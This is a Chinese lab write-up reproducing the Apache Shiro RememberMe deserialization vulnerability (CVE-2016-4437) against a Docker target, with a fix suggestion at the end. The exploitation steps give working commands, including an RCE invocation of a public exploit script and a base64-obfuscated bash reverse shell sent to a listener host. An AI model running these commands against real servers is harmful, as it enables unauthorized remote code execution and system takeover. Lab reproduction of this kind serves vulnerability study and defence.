zoukankan      html  css  js  c++  java
  • apache shiro反序列化漏洞 (CVE-2016-4437)

    环境搭建:
    docker pull medicean/vulapps:s_shiro_1

    工具:
    https://github.com/insightglacier/Shiro_exploit


    apche shiro简介:

    Apache Shiro是一个功能强大且易于使用的Java安全框架,为开发人员提供了一个直观而全面的解决方案,用于身份验证、授权、加密和会话管理。


    漏洞原理:

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

    Payload产生的过程:
    命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值


    漏洞复现:

    1.在登录网页的时候可以抓包查看是否存在rememberme模块

    发现shiro中的rememberme后可以直接上工具检测是否存在反序列化漏洞

    2.shiroscan返回的结果是存在此漏洞,可以直接上shiro_exploit

     3.shiro_exploit的RCE

    python3 shiro_exploit.py -t 3 -u http://192.168.5.137:8888 -p "touch test"

    可以看见主机上直接生成了一个test的文件

    4.shiro_exploit的反弹shell

    在kali上打开nc监听

    nc -lvp 6666

    生成相应的payload

     继续在kali上输入命令

    python3 shiro_exploit.py -t 3 -u http://192.168.5.137:8888 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

    可以看到返回的shell

    修复建议:

    该漏洞的核心就是CipherKey的值,将编码改为动态形式并升级为最新shiro版本

     参考链接:

    https://www.cnblogs.com/renhaoblog/p/12971152.html

    https://cloud.tencent.com/developer/article/1657019

  • 相关阅读:
    高可用性机制
    Moodle课程资源系统安装
    Windows 10 安装 chocolatey
    centos7安装samba服务器
    抽签网页板代码
    CentOS7系统操作httpd服务
    centos7.2下放行端口
    centos7没有netstat命令的解决办法
    Linux
    Linux下常用服务的端口号超详细整理
  • 原文地址:https://www.cnblogs.com/f1veseven/p/14745465.html
Copyright © 2011-2022 走看看